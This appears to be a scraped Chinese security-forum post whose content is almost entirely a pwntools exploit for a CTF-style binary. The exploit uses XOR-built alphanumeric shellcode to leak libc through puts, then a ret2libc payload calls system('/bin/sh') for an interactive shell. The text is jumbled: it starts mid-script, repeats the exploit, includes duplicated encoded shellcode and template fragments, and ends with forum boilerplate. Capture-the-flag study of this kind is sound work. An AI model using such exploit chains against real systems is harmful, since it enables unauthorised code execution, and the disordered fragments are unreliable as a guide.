pop r9                #r9=&(__libc_start_main+231)
push rdx            #rdx=0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x58], ecx    #0x41414142^0x41414443=0x501
pop rcx
push rsp            #之后弹给rsi的值
push r12
xor dword ptr [rax+0x50], ecx    #get pop_rsi_r15_addr
pop rcx                #save pop_rsi_r15_addr
push rcx
push rcx
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x48], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x48], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop r10                #save pop_rdi_addr
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414242=0x300
pop rcx
push r8                #r8=__libc_csu_init
xor dword ptr [rax+0x48], ecx    #__libc_csu_init^0x300=puts@plt
pop rdx                #save puts@plt
push rdi            #shellcode_addr
pop rax                #rax=shellcode_addr
xor al,0x6e
push rax            #shellcode_addr+0x6e
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
xor dword ptr [rax+0x58], ecx    #rax+0x58写入0xa0
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
push 0x31
pop rcx
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret
''')
print(payload)
p.sendafter(b'you',payload)
 
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231
libc_base = leak - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002164f
ret = libc_base + 0x00000000000008aa
one_gadget = libc_base + one[1]
print('__libc_start_main',hex(leak))
print('libc_base',hex(libc_base))
 
#gdb.attach(p,'b *'+hex(one_gadget)+'\nc')
payload = b'A'*8+p64(pop_rdi)+p64(binsh)+p64(system)
#payload = p64(ret)*5+p64(one_gadget)
p.sendline(payload)
 
p.interactive()
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
elf = ELF('./shellcode')
libc = elf.libc
one = [0x4f2a5,0x4f302,0x10a2fc]
 
payload = asm(
'''
push rsp
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop r8                #__libc_csu_init
pop r9                #__libc_start_main+231
pop rcx                #扔掉数据
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push 0x41414142            #控制rdx值
pop rdx
push rdx
push 0x41414355
pop rcx
xor dword ptr [rax+0x68], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x68], ecx    #_start^0x217=gadget_addr
push r9                #之后弹给r15的值
push rsp
pop r9                #r9=&(__libc_start_main+231)
push rdx            #rdx=0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x58], ecx    #0x41414142^0x41414443=0x501
pop rcx
push rsp            #之后弹给rsi的值
push r12
xor dword ptr [rax+0x50], ecx    #get pop_rsi_r15_addr
pop rcx                #save pop_rsi_r15_addr
push rcx
push rcx
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x48], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x48], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop r10                #save pop_rdi_addr
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414242=0x300
pop rcx
push r8                #r8=__libc_csu_init
xor dword ptr [rax+0x48], ecx    #__libc_csu_init^0x300=puts@plt
pop rdx                #save puts@plt
push rdi            #shellcode_addr
pop rax                #rax=shellcode_addr
xor al,0x6e
push rax            #shellcode_addr+0x6e
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
xor dword ptr [rax+0x58], ecx    #rax+0x58写入0xa0
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
push 0x31
pop rcx
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret
''')
print(payload)
p.sendafter(b'you',payload)
 
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231
libc_base = leak - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002164f
ret = libc_base + 0x00000000000008aa
one_gadget = libc_base + one[1]
print('__libc_start_main',hex(leak))
print('libc_base',hex(libc_base))
 
#gdb.attach(p,'b *'+hex(one_gadget)+'\nc')
payload = b'A'*8+p64(pop_rdi)+p64(binsh)+p64(system)
#payload = p64(ret)*5+p64(one_gadget)
p.sendline(payload)
 
p.interactive()
TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX
TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX
 
 
 
 
 
xor al,0x74
push rax            #shellcode_addr+0x6f
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
push 0x31
xor dword ptr [rax+0x58], ecx    #rax+0x34写入0xa0
pop rcx
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret
xor al,0x74
push rax            #shellcode_addr+0x6f
push rdx            #puts@plt
push r9                #栈地址,指向__libc_start_main+231
push r10            #pop_rdi_ret
push r8
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx                #控制rdx=rax
push 0x31
xor dword ptr [rax+0x58], ecx    #rax+0x34写入0xa0
pop rcx
push rdx           
pop rax                #控制rax=rdx,之后从puts返回时需要执行
xor dword ptr [rax+0x58], ecx    #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx    #0x91^0x52=0xc3=ret
0x74,0x42
0x74,0x4a
0x74,0x4b
0x74,0x58
0x74,0x42
0x74,0x4a
0x74,0x4b
0x74,0x58
xor dword ptr [rax+%s], ecx   
push 0x31
pop rcx
push rdx           
pop rax               
xor dword ptr [rax+%s], ecx   
 
0x74,0x42
0x74,0x4a
xor dword ptr [rax+%s], ecx   
push 0x31
pop rcx
push rdx           
pop rax               
xor dword ptr [rax+%s], ecx   
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-10-8 17:46 被p@sser编辑 ,原因: md。emoji都不能用
收藏
免费 10
支持
分享
最新回复 (2)
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
2022-11-4 21:44
0
雪    币: 225
活跃值: (359)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
2022-12-1 09:11
0
游客
登录 | 注册 方可回帖
返回
//